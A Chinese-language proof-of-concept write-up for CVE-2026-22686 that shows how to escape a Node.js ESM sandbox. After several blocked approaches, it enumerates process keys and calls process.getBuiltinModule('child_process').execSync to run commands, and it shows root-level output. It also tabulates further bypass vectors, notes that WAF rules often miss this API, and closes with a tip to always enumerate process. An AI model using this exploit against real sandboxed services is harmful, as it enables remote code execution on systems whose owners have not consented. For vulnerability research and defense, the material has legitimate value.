
CVE-2026-22686 的概念验证漏洞利用,演示了通过 process.getBuiltinModule 绕过模块限制,在 Node.js ESM 沙箱中实现远程代码执行。
| 向量 | 结果 |
|---|
require('child_process') | ❌ require is not defined — 在 ESM 中不可用 |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — mainModule 在 ESM 中为 undefined |
import('child_process') | ❌ A dynamic import callback was not specified — 需要沙箱中未配置的钩子 |
process.binding('spawn_sync') | ⚠️ 可用但过于底层 — 需要手动构造系统调用 |
process.getBuiltinModule我们不假设模块加载方法,而是直接从宿主上下文中枚举 process 键(沙箱逃逸后已可访问):
return Object.keys(process)
在返回的键中,识别出了 getBuiltinModule — 一个 Node.js 22+ 原生 API,专门设计用于允许 ESM 模块访问 Node.js 内置模块,无需 require 或 import()。
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE 已确认
这是关键洞察:process.getBuiltinModule 是一个相对较新的 API(Node.js >= 22.3.0),经常被沙箱实现和阻止 require 与 import 的 WAF 规则所忽视。
根据目标环境的不同,枚举 process 后可能还有其他可用向量:
| 向量 | Node.js 版本 | 备注 |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ 最干净 — 官方 ESM 安全 API |
process.binding('spawn_sync') | 全部 | ⚠️ 底层,需要手动构造缓冲区 |
process.mainModule.require(...) | 仅 CJS | ❌ 在 ESM 中为 undefined |
__non_webpack_require__ | Webpack 打包 | ⚠️ 环境特定 |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ 需要从宿主获取 Module 引用 |
process._linkedBinding('node_os') | 内部构建 | ⚠️ 很少暴露 |
要点: 在获得宿主上下文访问权限后,始终枚举
Object.keys(process)。可用的攻击面因 Node.js 版本和项目配置而异。getBuiltinModule是现代 Node.js ESM 环境中最可靠的向量。
步骤:
